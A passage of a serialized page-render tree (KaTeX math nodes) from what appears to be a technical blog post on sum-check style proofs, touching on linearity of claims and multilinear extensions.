is",{"type":23,"tag":24,"props":110741,"children":110742},{},[110743],{"type":23,"tag":37,"props":110744,"children":110746},{"className":110745},[3984,3985],[110747],{"type":23,"tag":41,"props":110748,"children":110750},{"className":110749},[3990],[110751],{"type":23,"tag":41,"props":110752,"children":110754},{"className":110753,"ariaHidden":3996},[3995],[110755,110834,110979,111005,111032,111110,111136,111233,111269,111347,111383,111471,111563],{"type":23,"tag":41,"props":110756,"children":110758},{"className":110757},[4001],[110759,110764,110821,110825,110830],{"type":23,"tag":41,"props":110760,"children":110763},{"className":110761,"style":110762},[4006],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":110765,"children":110767},{"className":110766},[4012],[110768,110773],{"type":23,"tag":41,"props":110769,"children":110771},{"className":110770,"style":92999},[4012,21574],[110772],{"type":28,"value":93002},{"type":23,"tag":41,"props":110774,"children":110776},{"className":110775},[4028],[110777],{"type":23,"tag":41,"props":110778,"children":110780},{"className":110779},[4033,21628],[110781,110810],{"type":23,"tag":41,"props":110782,"children":110784},{"className":110783},[4038],[110785,110805],{"type":23,"tag":41,"props":110786,"children":110788},{"className":110787,"style":93294},[4043],[110789],{"type":23,"tag":41,"props":110790,"children":110791},{"style":110194},[110792,110796],{"type":23,"tag":41,"props":110793,"children":110795},{"className":110794,"style":4053},[4052],[],{"type":23,"tag":41,"props":110797,"children":110799},{"className":110798},[4058,4059,4060,4061],[110800],{"type":23,"tag":41,"props":110801,"children":110803},{"className":110802},[4012,21574,4061],[110804],{"type":28,"value":3737},{"type":23,"tag":41,"props":110806,"children":110808},{"className":110807},[21731],[110809],{"type":28,"value":21734},{"type":23,"tag":41,"props":110811,"children":110813},{"className":110812},[4038],[110814],{"type":23,"tag":41,"props":110815,"children":110817},{"className":110816,"style":92848},[4043],[110818],{"type":23,"tag":41,"props":110819,"children":110820},{},[],{"type":23,"tag":41,"props":110822,"children":110824},{"className":110823,"style":4190},[4092],[],{"type":23,"tag":41,"props":110826,"children":110828},{"className":110827},[4195],[110829],{"type":28,"value":2381},{"type":23,"tag":41,"props":110831,"children":110833},{"className":110832,"style":4190},[4092],[],{"type":23,"tag":41,"props":110835,"children":110837},{"className":110836},[4001],[110838,110842,110899,110904,110961,110966,110970,110975],{"type":23,"tag":41,"props":110839,"children":110841},{"className":110840,"style":4113},[4006],[],{"type":23,"tag":41,"props":110843,"children":110845},{"className":110844},[4012],[110846,110851],{"type":23,"tag":41,"props":110847,"children":110849},{"className":110848,"style":93251},[4012,21574],[110850],{"type":28,"value":109016},{"type":23,"tag":41,"props":110852,"children":110854},{"className":110853},[4028],[110855],{"type":23,"tag":41,"props":110856,"children":110858},{"className":110857},[4033,21628],[110859,110888],{"type":23,"tag":41,"props":110860,"children":110862},{"className":110861},[4038],[110863,110883],{"type":23,"tag":41,"props":110864,"children":110866},{"className":110865,"style":93294},[4043],[110867],{"type":23,"tag":41,"props":110868,"children":110869},{"style":93298},[110870,110874],{"type":23,"tag":41,"props":110871,"children":110873},{"className":110872,"style":4053},[4052],[],{"type":23,"tag":41,"props":110875,"children":110877},{"className":110876},[4058,4059,4060,4061],[110878],{"type":23,"tag":41,"props":110879,"children":110881},{"className":110880},[4012,21574,4061],[110882],{"type":28,"value":3737},{"type":23,"tag":41,"props":110884,"children":110886},{"className":110885},[21731],[110887],{"type":28,"value":21734},{"type":23,"tag":41,"props":110889,"children":110891},{"className":110890},[4038],[110892],{"type":23,"tag":41,"props":110893,"children":110895},{"className":110894,"style":92848},[4043],[110896],{"type":23,"tag":41,"props":110897,"children":110898},{},[],{"type":23,"tag":41,"props":110900,"children":110902},{"className":110901},[21703],[110903],{"type":28,"value":1737},{"type":23,"tag":41,"props":110905,"children":110907},{"className":110906},[4012],[110908,110913],{"type":23,"tag":41,"props":110909,"children":110911},{"className":110910,"style":92765},[4012,21574],[110912],{"type":28,"value":93584},{"type":23,"tag":41,"props":110914,"children":110916},{"className":110915},[4028],[110917],{"type":23,"tag":41,"props":110918,"children":110920},{"className":110919},[4033,21628],[110921,110950],{"type":23,"tag":41,"props":110922,"children":110924},{"className":110923},[4038],[110925,110945],{"type":23,"tag":41,"props":110926,"children":110928},{"className":110927,"style":93294},[4043],[110929],{"type":23,"tag":41,"props":110930,"children":110931},{"style":109764},[110932,110936],{"type":23,"tag":41,"props":110933,"children":110935},{"className":110934,"style":4053},[4052],[],{"type":23,"tag":41,"props":110937,"children":110939},{"className":110938},[4058,4059,4060,4061],[110940],{"type":23,"tag":41,"props":110941,"children":110943},{"className":110942},[4012,21574,4061],[110944],{"type":28,"value":3737},{"type":23,"tag":41,"props":110946,"children":110948},{"className":110947},[21731],[110949],{"type":28,"value":21734},{"type":23,"tag":41,"props":110951,"children":110953},{"className":110952},[4038],[110954],{"type":23,"tag":41,"props":110955,"children":110957},{"className":110956,"style":92848},[4043],[110958],{"type":23,"tag":41,"props":110959,"children":110960},{},[],{"type":23,"tag":41,"props":110962,"children":110964},{"className":110963},[21725],[110965],{"type":28,"value":2678},{"type":23,"tag":41,"props":110967,"children":110969},{"className":110968,"style":4190},[4092],[],{"type":23,"tag":41,"props":110971,"children":110973},{"className":110972},[4195],[110974],{"type":28,"value":2381},{"type":23,"tag":41,"props":110976,"children":110978},{"className":110977,"style":4190},[4092],[],{"type":23,"tag":41,"props":110980,"children":110982},{"className":110981},[4001],[110983,110987,110992,110996,111001],{"type":23,"tag":41,"props":110984,"children":110986},{"className":110985,"style":109920},[4006],[],{"type":23,"tag":41,"props":110988,"children":110990},{"className":110989},[4012,21574],[110991],{"type":28,"value":458},{"type":23,"tag":41,"props":110993,"children":110995},{"className":110994,"style":4093},[4092],[],{"type":23,"tag":41,"props":110997,"children":110999},{"className":110998},[4098],[111000],{"type":28,"value":4383},{"type":23,"tag":41,"props":111002,"children":111004},{"className":111003,"style":4093},[4092],[],{"type":23,"tag":41,"props":111006,"children":111008},{"className":111007},[4001],[111009,111013,111018,111022,111028],{"type":23,"tag":41,"props":111010,"children":111012},{"className":111011,"style":92680},[4006],[],{"type":23,"tag":41,"props":111014,"children":111016},{"className":111015},[4012,21574],[111017],{"type":28,"value":3222},{"type":23,"tag":41,"props":111019,"children":111021},{"className":111020,"style":4093},[4092],[],{"type":23,"tag":41,"props":111023,"children":111025},{"className":111024},[4098],[111026],{"type":28,"value":111027},"⋅",{"type":23,"tag":41,"props":111029,"children":111031},{"className":111030,"style":4093},[4092],[],{"type":23,"tag":41,"props":111033,"children":111035},{"className":111034},[4001],[111036,111040,111097,111101,111106],{"type":23,"tag":41,"props":111037,"children":111039},{"className":111038,"style":109735},[4006],[],{"type":23,"tag":41,"props":111041,"children":111043},{"className":111042},[4012],[111044,111049],{"type":23,"tag":41,"props":111045,"children":111047},{"className":111046,"style":92765},[4012,21574],[111048],{"type":28,"value":93584},{"type":23,"tag":41,"props":111050,"children":111052},{"className":111051},[4028],[111053],{"type":23,"tag":41,"props":111054,"children":111056},{"className":111055},[4033,21628],[111057,111086],{"type":23,"tag":41,"props":111058,"children":111060},{"className":111059},[4038],[111061,111081],{"type":23,"tag":41,"props":111062,"children":111064},{"className":111063,"style":93294},[4043],[111065],{"type":23,"tag":41,"props":111066,"children":111067},{"style":109764},[111068,111072],{"type":23,"tag":41,"props":111069,"children":111071},{"className":111070,"style":4053},[4052],[],{"type":23,"tag":41,"props":111073,"children":111075},{"className":111074},[4058,4059,4060,4061],[111076],{"type":23,"tag":41,"props":111077,"children":111079},{"className":111078},[4012,21574,4061],[111080],{"type":28,"value":3737},{"type":23,"tag":41,"props":111082,"children":111084},{"className":111083},[21731],[111085],{"type":28,"value":21734},{"type":23,"tag":41,"props":111087,"children":111089},{"className":111088},[4038],[111090],{"type":23,"tag":41,"props":111091,"children":111093},{"className":111092,"style":92848},[4043],[111094],{"type":23,"tag":41,"props":111095,"children":111096},{},[],{"type":23,"tag":41,"props":111098,"children":111100},{"className":111099,"style":4190},[4092],[],{"type":23,"tag":41,"props":111102,"children":111104},{"className":111103},[4195],[111105],{"type":28,"value":2381},{"type":23,"tag":41,"props":111107,"children":111109},{"className":111108,"style":4190},[4092],[],{"type":23,"tag":41,"props":111111,"children":111113},{"className":111112},[4001],[111114,111118,111123,111127,111132],{"type":23,"tag":41,"props":111115,"children":111117},{"className":111116,"style":109920},[4006],[],{"type":23,"tag":41,"props":111119,"children":111121},{"className":111120},[4012,21574],[111122],{"type":28,"value":458},{"type":23,"tag":41,"props":111124,"children":111126},{"className":111125,"style":4093},[4092],[],{"type":23,"tag":41,"props":111128,"children":111130},{"className":111129},[4098],[111131],{"type":28,"value":4383},{"type":23,"tag":41,"props":111133,"children":111135},{"className":111134,"style":4093},[4092],[],{"type":23,"tag":41,"props":111137,"children":111139},{"className":111138},[4001],[111140,111144,111149,111220,111224,111229],{"type":23,"tag":41,"props":111141,"children":111143},{"className":111142,"style":4113},[4006],[],{"type":23,"tag":41,"props":111145,"children":111147},{"className":111146},[21703],[111148],{"type":28,"value":1737},{"type":23,"tag":41,"props":111150,"children":111152},{"className":111151},[4012],[111153,111158],{"type":23,"tag":41,"props":111154,"children":111156},{"className":111155,"style":92999},[4012,21574],[111157],{"type":28,"value":93002},{"type":23,"tag":41,"props":111159,"children":111161},{"className":111160},[4028],[111162],{"type":23,"tag":41,"props":111163,"children":111165},{"className":111164},[4033,21628],[111166,111209],{"type":23,"tag":41,"props":111167,"children":111169},{"className":111168},[4038],[111170,111204],{"type":23,"tag":41,"props":111171,"children":111173},{"className":111172,"style":93294},[4043],[111174],{"type":23,"tag":41,"props":111175,"children":111176},{"style":110194},[111177,111181],{"type":23,"tag":41,"props":111178,"children":111180},{"className":111179,"style":4053},[4052],[],{"type":23,"tag":41,"props":111182,"children":111184},{"className":111183},[4058,4059,4060,4061],[111185],{"type":23,"tag":41,"props":111186,"children":111188},{"className":111187},[4012,4061],[111189,111194,111199],{"type":23,"tag":41,"props":111190,"children":111192},{"className":111191},[4012,21574,4061],[111193],{"type":28,"value":3737},{"type":23,"tag":41,"props":111195,"children":111197},{"className":111196},[4098,4061],[111198],{"type":28,"value":4072},{"type":23,"tag":41,"props":111200,"children":111202},{"className":111201},[4012,4061],[111203],{"type":28,"value":317},{"type":23,"tag":41,"props":111205,"children":111207},{"className":111206},[21731],[111208],{"type":28,"value":21734},{"type":23,"tag":41,"props":111210,"children":111212},{"className":111211},[4038],[111213],{"type":23,"tag":41,"props":111214,"children":111216},{"className":111215,"style":110235},[4043],[111217],{"type":23,"tag":41,"props":111218,"children":111219},{},[],{"type":23,"tag":41,"props":111221,"children":111223},{"className":111222,"style":4093},[4092],[],{"type":23,"tag":41,"props":111225,"children":111227},{"className":111226},[4098],[111228],{"type":28,"value":4072},{"type":23,"tag":41,"props":111230,"children":111232},{"className":111231,"style":4093},[4092],[],{"type":23,"tag":41,"props":111234,"children":111236},{"className":111235},[4001],[111237,111241,111246,111251,111256,111260,111265],{"type":23,"tag":41,"props":111238,"children":111240},{"className":111239,"style":4113},[4006],[],{"type":23,"tag":41,"props":111242,"children":111244},{"className":111243},[4012],[111245],{"type":28,"value":3123},{"type":23,"tag":41,"props":111247,"children":111249},{"className":111248},[4012,21574],[111250],{"type":28,"value":458},{"type":23,"tag":41,"props":111252,"children":111254},{"className":111253},[21725],[111255],{"type":28,"value":2678},{"type":23,"tag":41,"props":111257,"children":111259},{"className":111258,"style":4093},[4092],[],{"type":23,"tag":41,"props":111261,"children":111263},{"className":111262},[4098],[111264],{"type":28,"value":111027},{"type":23,"tag":41,"props":111266,"children":111268},{"className":111267,"style":4093},[4092],[],{"type":23,"tag":41,"props":111270,"children":111272},{"className":111271},[4001],[111273,111277,111334,111338,111343],{"type":23,"tag":41,"props":111274,"children":111276},{"className":111275,"style":109735},[4006],[],{"type":23,"tag":41,"props":111278,"children":111280},{"className":111279},[4012],[111281,111286],{"type":23,"tag":41,"props":111282,"children":111284},{"className":111283,"style":92765},[4012,21574],[111285],{"type":28,"value":93584},{"type":23,"tag":41,"props":111287,"children":111289},{"className":111288},[4028],[111290],{"type":23,"tag":41,"props":111291,"children":111293},{"className":111292},[4033,21628],[111294,111323],{"type":23,"tag":41,"props":111295,"children":111297},{"className":111296},[4038],[111298,111318],{"type":23,"tag":41,"props":111299,"children":111301},{"className":111300,"style":93294},[4043],[111302],{"type":23,"tag":41,"props":111303,"children":111304},{"style":109764},[111305,111309],{"type":23,"tag":41,"props":111306,"children":111308},{"className":111307,"style":4053},[4052],[],{"type":23,"tag":41,"props":111310,"children":111312},{"className":111311},[4058,4059,4060,4061],[111313],{"type":23,"tag":41,"props":111314,"children":111316},{"className":111315},[4012,21574,4061],[111317],{"type":28,"value":3737},{"type":23,"tag":41,"props":111319,"children":111321},{"className":111320},[21731],[111322],{"type":28,"value":21734},{"type":23,"tag":41,"props":111324,"children":111326},{"className":111325},[4038],[111327],{"type":23,"tag":41,"props":111328,"children":111330},{"className":111329,"style":92848},[4043],[111331],{"type":23,"tag":41,"props":111332,"children":111333},{},[],{"type":23,"tag":41,"props":111335,"children":111337},{"className":111336,"style":4190},[4092],[],{"type":23,"tag":41,"props":111339,"children":111341},{"className":111340},[4195],[111342],{"type":28,"value":2381},{"type":23,"tag":41,"props":111344,"children":111346},{"className":111345,"style":4190},[4092],[],{"type":23,"tag":41,"props":111348,"children":111350},{"className":111349},[4001],[111351,111355,111360,111365,111370,111374,111379],{"type":23,"tag":41,"props":111352,"children":111354},{"className":111353,"style":4113},[4006],[],{"type":23,"tag":41,"props":111356,"children":111358},{"className":111357},[4012,21574],[111359],{"type":28,"value":458},{"type":23,"tag":41,"props":111361,"children":111363},{"className":111362},[21703],[111364],{"type":28,"value":1737},{"type":23,"tag":41,"props":111366,"children":111368},{"className":111367},[4012],[111369],{"type":28,"value":317},{"type":23,"tag":41,"props":111371,"children":111373},{"className":111372,"style":4093},[4092],[],{"type":23,"tag":41,"props":111375,"children":111377},{"className":111376},[4098],[111378],{"type":28,"value":4072},{"type":23,"tag":41,"props":111380,"children":111382},{"className":111381,"style":4093},[4092],[],{"type":23,"tag":41,"props":111384,"children":111386},{"className":111385},[4001],[111387,111391,111396,111453,111458,111462,111467],{"type":23,"tag":41,"props":111388,"children":111390},{"className":111389,"style":4113},[4006],[],{"type":23,"tag":41,"props":111392,"children":111394},{"className":111393},[4012],[111395],{"type":28,"value":3123},{"type":23,"tag":41,"props":111397,"children":111399},{"className":111398},[4012],[111400,111405],{"type":23,"tag":41,"props":111401,"children":111403},{"className":111402,"style":92765},[4012,21574],[111404],{"type":28,"value":93584},{"type":23,"tag":41,"props":111406,"children":111408},{"className":111407},[4028],[111409],{"type":23,"tag":41,"props":111410,"children":111412},{"className":111411},[4033,21628],[111413,111442],{"type":23,"tag":41,"props":111414,"children":111416},{"className":111415},[4038],[111417,111437],{"type":23,"tag":41,"props":111418,"children":111420},{"className":111419,"style":93294},[4043],[111421],{"type":23,"tag":41,"props":111422,"children":111423},{"style":109764},[111424,111428],{"type":23,"tag":41,"props":111425,"children":111427},{"className":111426,"style":4053},[4052],[],{"type":23,"tag":41,"props":111429,"children":111431},{"className":111430},[4058,4059,4060,4061],[111432],{"type":23,"tag":41,"props":111433,"children":111435},{"className":111434},[4012,21574,4061],[111436],{"type":28,"value":3737},{"type":23,"tag":41,"props":111438,"children":111440},{"className":111439},[21731],[111441],{"type":28,"value":21734},{"type":23,"tag":41,"props":111443,"children":111445},{"className":111444},[4038],[111446],{"type":23,"tag":41,"props":111447,"children":111449},{"className":111448,"style":92848},[4043],[111450],{"type":23,"tag":41,"props":111451,"children":111452},{},[],{"type":23,"tag":41,"props":111454,"children":111456},{"className":111455},[21725],[111457],{"type":28,"value":2678},{"type":23,"tag":41,"props":111459,"children":111461},{"className":111460,"style":4093},[4092],[],{"type":23,"tag":41,"props":111463,"children":111465},{"className":111464},[4098],[111466],{"type":28,"value":4383},{"type":23,"tag":41,"props":111468,"children":111470},{"className":111469,"style":4093},[4092],[],{"type":23,"tag":41,"props":111472,"children":111474},{"className":111473},[4001],[111475,111479,111550,111554,111559],{"type":23,"tag":41,"props":111476,"children":111478},{"className":111477,"style":110165},[4006],[],{"type":23,"tag":41,"props":111480,"children":111482},{"className":111481},[4012],[111483,111488],{"type":23,"tag":41,"props":111484,"children":111486},{"className":111485,"style":92999},[4012,21574],[111487],{"type":28,"value":93002},{"type":23,"tag":41,"props":111489,"children":111491},{"className":111490},[4028],[111492],{"type":23,"tag":41,"props":111493,"children":111495},{"className":111494},[4033,21628],[111496,111539],{"type":23,"tag":41,"props":111497,"children":111499},{"className":111498},[4038],[111500,111534],{"type":23,"tag":41,"props":111501,"children":111503},{"className":111502,"style":93294},[4043],[111504],{"type":23,"tag":41,"props":111505,"children":111506},{"style":110194},[111507,111511],{"type":23,"tag":41,"props":111508,"children":111510},{"className":111509,"style":4053},[4052],[],{"type":23,"tag":41,"props":111512,"children":111514},{"className":111513},[4058,4059,4060,4061],[111515],{"type":23,"tag":41,"props":111516,"children":111518},{"className":111517},[4012,4061],[111519,111524,111529],{"type":23,"tag":41,"props":111520,"children":111522},{"className":111521},[4012,21574,4061],[111523],{"type":28,"value":3737},{"type":23,"tag":41,"props":111525,"children":111527},{"className":111526},[4098,4061],[111528],{"type":28,"value":4072},{"type":23,"tag":41,"props":111530,"children":111532},{"className":111531},[4012,4061],[111533],{"type":28,"value":317},{"type":23,"tag":41,"props":111535,"children":111537},{"className":111536},[21731],[111538],{"type":28,"value":21734},{"type":23,"tag":41,"props":111540,"children":111542},{"className":111541},[4038],[111543],{"type":23,"tag":41,"props":111544,"children":111546},{"className":111545,"style":110235},[4043],[111547],{"type":23,"tag":41,"props":111548,"children":111549},{},[],{"type":23,"tag":41,"props":111551,"children":111553},{"className":111552,"style":4093},[4092],[],{"type":23,"tag":41,"props":111555,"children":111557},{"className":111556},[4098],[111558],{"type":28,"value":111027},{"type":23,"tag":41,"props":111560,"children":111562},{"className":111561,"style":4093},[4092],[],{"type":23,"tag":41,"props":111564,"children":111566},{"className":111565},[4001],[111567,111571],{"type":23,"tag":41,"props":111568,"children":111570},{"className":111569,"style":109735},[4006],[],{"type":23,"tag":41,"props":111572,"children":111574},{"className":111573},[4012],[111575,111580],{"type":23,"tag":41,"props":111576,"children":111578},{"className":111577,"style":92765},[4012,21574],[111579],{"type":28,"value":93584},{"type":23,"tag":41,"props":111581,"children":111583},{"className":111582},[4028],[111584],{"type":23,"tag":41,"props":111585,"children":111587},{"className":111586},[4033,21628],[111588,111617],{"type":23,"tag":41,"props":111589,"children":111591},{"className":111590},[4038],[111592,111612],{"type":23,"tag":41,"props":111593,"children":111595},{"className":111594,"style":93294},[4043],[111596],{"type":23,"tag":41,"props":111597,"children":111598},{"style":109764},[111599,111603],{"type":23,"tag":41,"props":111600,"children":111602},{"className":111601,"style":4053},[4052],[],{"type":23,"tag":41,"props":111604,"children":111606},{"className":111605},[4058,4059,4060,4061],[111607],{"type":23,"tag":41,"props":111608,"children":111610},{"className":111609},[4012,21574,4061],[111611],{"type":28,"value":3737},{"type":23,"tag":41,"props":111613,"children":111615},{"className":111614},[21731],[111616],{"type":28,"value":21734},{"type":23,"tag":41,"props":111618,"children":111620},{"className":111619},[4038],[111621],{"type":23,"tag":41,"props":111622,"children":111624},{"className":111623,"style":92848},[4043],[111625],{"type":23,"tag":41,"props":111626,"children":111627},{},[],{"type":23,"tag":24,"props":111629,"children":111630},{},[111631,111632,111728,111730,111755,111757,111782],{"type":28,"value":46131},{"type":23,"tag":510,"props":111633,"children":111634},{},[111635,111637],{"type":28,"value":111636},"linear in ",{"type":23,"tag":37,"props":111638,"children":111640},{"className":111639},[3984,3985],[111641],{"type":23,"tag":41,"props":111642,"children":111644},{"className":111643},[3990],[111645],{"type":23,"tag":41,"props":111646,"children":111648},{"className":111647,"ariaHidden":3996},[3995],[111649],{"type":23,"tag":41,"props":111650,"children":111652},{"className":111651},[4001],[111653,111657],{"type":23,"tag":41,"props":111654,"children":111656},{"className":111655,"style":110165},[4006],[],{"type":23,"tag":41,"props":111658,"children":111660},{"className":111659},[4012],[111661,111666],{"type":23,"tag":41,"props":111662,"children":111664},{"className":111663,"style":92999},[4012,21574],[111665],{"type":28,"value":93002},{"type":23,"tag":41,"props":111667,"children":111669},{"className":111668},[4028],[111670],{"type":23,"tag":41,"props":111671,"children":111673},{"className":111672},[4033,21628],[111674,111717],{"type":23,"tag":41,"props":111675,"children":111677},{"className":111676},[4038],[111678,111712],{"type":23,"tag":41,"props":111679,"children":111681},{"className":111680,"style":93294},[4043],[111682],{"type":23,"tag":41,"props":111683,"children":111684},{"style":110194},[111685,111689],{"type":23,"tag":41,"props":111686,"children":111688},{"className":111687,"style":4053},[4052],[],{"type":23,"tag":41,"props":111690,"children":111692},{"className":111691},[4058,4059,4060,4061],[111693],{"type":23,"tag":41,"props":111694,"children":111696},{"className":111695},[4012,4061],[111697,111702,111707],{"type":23,"tag":41,"props":111698,"children":111700},{"className":111699},[4012,21574,4061],[111701],{"type":28,"value":3737},{"type":23,"tag":41,"props":111703,"children":111705},{"className":111704},[4098,4061],[111706],{"type":28,"value":4072},{"type":23,"tag":41,"props":111708,"children":111710},{"className":111709},[4012,4061],[111711],{"type":28,"value":317},{"type":23,"tag":41,"props":111713,"children":111715},{"className":111714},[21731],[111716],{"type":28,"value":21734},{"type":23,"tag":41,"props":111718,"children":111720},{"className":111719},[4038],[111721],{"type":23,"tag":41,"props":111722,"children":111724},{"className":111723,"style":110235},[4043],[111725],{"type":23,"tag":41,"props":111726,"children":111727},{},[],{"type":28,"value":111729},"! By induction, the final claim is linear in the original ",{"type":23,"tag":37,"props":111731,"children":111733},{"className":111732},[3984,3985],[111734],{"type":23,"tag":41,"props":111735,"children":111737},{"className":111736},[3990],[111738],{"type":23,"tag":41,"props":111739,"children":111741},{"className":111740,"ariaHidden":3996},[3995],[111742],{"type":23,"tag":41,"props":111743,"children":111745},{"className":111744},[4001],[111746,111750],{"type":23,"tag":41,"props":111747,"children":111749},{"className":111748,"style":21569},[4006],[],{"type":23,"tag":41,"props":111751,"children":111753},{"className":111752,"style":92999},[4012,21574],[111754],{"type":28,"value":93002},{"type":28,"value":111756},". If ",{"type":23,"tag":37,"props":111758,"children":111760},{"className":111759},[3984,3985],[111761],{"type":23,"tag":41,"props":111762,"children":111764},{"className":111763},[3990],[111765],{"type":23,"tag":41,"props":111766,"children":111768},{"className":111767,"ariaHidden":3996},[3995],[111769],{"type":23,"tag":41,"props":111770,"children":111772},{"className":111771},[4001],[111773,111777],{"type":23,"tag":41,"props":111774,"children":111776},{"className":111775,"style":21569},[4006],[],{"type":23,"tag":41,"props":111778,"children":111780},{"className":111779,"style":92999},[4012,21574],[111781],{"type":28,"value":93002},{"type":28,"value":111783}," isn't in the transcript, we can solve for it.",{"type":23,"tag":546,"props":111785,"children":111787},{"id":111786},"multilinear-extensions-mles",[111788],{"type":28,"value":111789},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":111791,"children":111792},{},[111793,111795,111880],{"type":28,"value":111794},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":37,"props":111796,"children":111798},{"className":111797},[3984,3985],[111799],{"type":23,"tag":41,"props":111800,"children":111802},{"className":111801},[3990],[111803],{"type":23,"tag":41,"props":111804,"children":111806},{"className":111805,"ariaHidden":3996},[3995],[111807],{"type":23,"tag":41,"props":111808,"children":111810},{"className":111809},[4001],[111811,111815,111820,111825,111830,111834,111839],{"type":23,"tag":41,"props":111812,"children":111814},{"className":111813,"style":4113},[4006],[],{"type":23,"tag":41,"props":111816,"children":111818},{"className":111817},[21703],[111819],{"type":28,"value":76613},{"type":23,"tag":41,"props":111821,"children":111823},{"className":111822},[4012],[111824],{"type":28,"value":4024},{"type":23,"tag":41,"props":111826,"children":111828},{"className":111827},[4124],[111829],{"type":28,"value":4127},{"type":23,"tag":41,"props":111831,"children":111833},{"className":111832,"style":4131},[4092],[],{"type":23,"tag":41,"props":111835,"children":111837},{"className":111836},[4012],[111838],{"type":28,"value":317},{"type":23,"tag":41,"props":111840,"children":111842},{"className":111841},[21725],[111843,111848],{"type":23,"tag":41,"props":111844,"children":111846},{"className":111845},[21725],[111847],{"type":28,"value":34134},{"type":23,"tag":41,"props":111849,"children":111851},{"className":111850},[4028],[111852],{"type":23,"tag":41,"props":111853,"children":111855},{"className":111854},[4033],[111856],{"type":23,"tag":41,"props":111857,"children":111859},{"className":111858},[4038],[111860],{"type":23,"tag":41,"props":111861,"children":111863},{"className":111862,"style":108482},[4043],[111864],{"type":23,"tag":41,"props":111865,"children":111866},{"style":4047},[111867,111871],{"type":23,"tag":41,"props":111868,"children":111870},{"className":111869,"style":4053},[4052],[],{"type":23,"tag":41,"props":111872,"children":111874},{"className":111873},[4058,4059,4060,4061],[111875],{"type":23,"tag":41,"props":111876,"children":111878},{"className":111877},[4012,21574,4061],[111879],{"type":28,"value":56399},{"type":28,"value":111881},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":111883,"children":111884},{},[111885],{"type":28,"value":111886},"For this post, the only property you need is:",{"type":23,"tag":24,"props":111888,"children":111889},{},[111890],{"type":23,"tag":37,"props":111891,"children":111893},{"className":111892},[3984,3985],[111894],{"type":23,"tag":41,"props":111895,"children":111897},{"className":111896},[3990],[111898],{"type":23,"tag":41,"props":111899,"children":111901},{"className":111900,"ariaHidden":3996},[3995],[111902,112064,112336],{"type":23,"tag":41,"props":111903,"children":111905},{"className":111904},[4001],[111906,111911,111980,111985,112046,112051,112055,112060],{"type":23,"tag":41,"props":111907,"children":111910},{"className":111908,"style":111909},[4006],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":41,"props":111912,"children":111915},{"className":111913},[4012,111914],"accent",[111916],{"type":23,"tag":41,"props":111917,"children":111919},{"className":111918},[4033,21628],[111920,111968],{"type":23,"tag":41,"props":111921,"children":111923},{"className":111922},[4038],[111924,111963],{"type":23,"tag":41,"props":111925,"children":111928},{"className":111926,"style":111927},[4043],"height:0.9313em;",[111929,111943],{"type":23,"tag":41,"props":111930,"children":111932},{"style":111931},"top:-3em;",[111933,111938],{"type":23,"tag":41,"props":111934,"children":111937},{"className":111935,"style":111936},[4052],"height:3em;",[],{"type":23,"tag":41,"props":111939,"children":111941},{"className":111940,"style":95119},[4012,21574],[111942],{"type":28,"value":33078},{"type":23,"tag":41,"props":111944,"children":111946},{"style":111945},"top:-3.6134em;",[111947,111951],{"type":23,"tag":41,"props":111948,"children":111950},{"className":111949,"style":111936},[4052],[],{"type":23,"tag":41,"props":111952,"children":111956},{"className":111953,"style":111955},[111954],"accent-body","left:-0.0833em;",[111957],{"type":23,"tag":41,"props":111958,"children":111960},{"className":111959},[4012],[111961],{"type":28,"value":111962},"~",{"type":23,"tag":41,"props":111964,"children":111966},{"className":111965},[21731],[111967],{"type":28,"value":21734},{"type":23,"tag":41,"props":111969,"children":111971},{"className":111970},[4038],[111972],{"type":23,"tag":41,"props":111973,"children":111976},{"className":111974,"style":111975},[4043],"height:0.1944em;",[111977],{"type":23,"tag":41,"props":111978,"children":111979},{},[],{"type":23,"tag":41,"props":111981,"children":111983},{"className":111982},[21703],[111984],{"type":28,"value":1737},{"type":23,"tag":41,"props":111986,"children":111988},{"className":111987},[4012,111914],[111989],{"type":23,"tag":41,"props":111990,"children":111992},{"className":111991},[4033],[111993],{"type":23,"tag":41,"props":111994,"children":111996},{"className":111995},[4038],[111997],{"type":23,"tag":41,"props":111998,"children":112001},{"className":111999,"style":112000},[4043],"height:0.714em;",[112002,112014],{"type":23,"tag":41,"props":112003,"children":112004},{"style":111931},[112005,112009],{"type":23,"tag":41,"props":112006,"children":112008},{"className":112007,"style":111936},[4052],[],{"type":23,"tag":41,"props":112010,"children":112012},{"className":112011,"style":92765},[4012,21574],[112013],{"type":28,"value":93584},{"type":23,"tag":41,"props":112015,"children":112016},{"style":111931},[112017,112021],{"type":23,"tag":41,"props":112018,"children":112020},{"className":112019,"style":111936},[4052],[],{"type":23,"tag":41,"props":112022,"children":112025},{"className":112023,"style":112024},[111954],"left:-0.1799em;",[112026],{"type":23,"tag":41,"props":112027,"children":112031},{"className":112028,"style":112030},[112029],"overlay","height:0.714em;width:0.471em;",[112032],{"type":23,"tag":34267,"props":112033,"children":112040},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[112041],{"type":23,"tag":112042,"props":112043,"children":112045},"path",{"d":112044},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 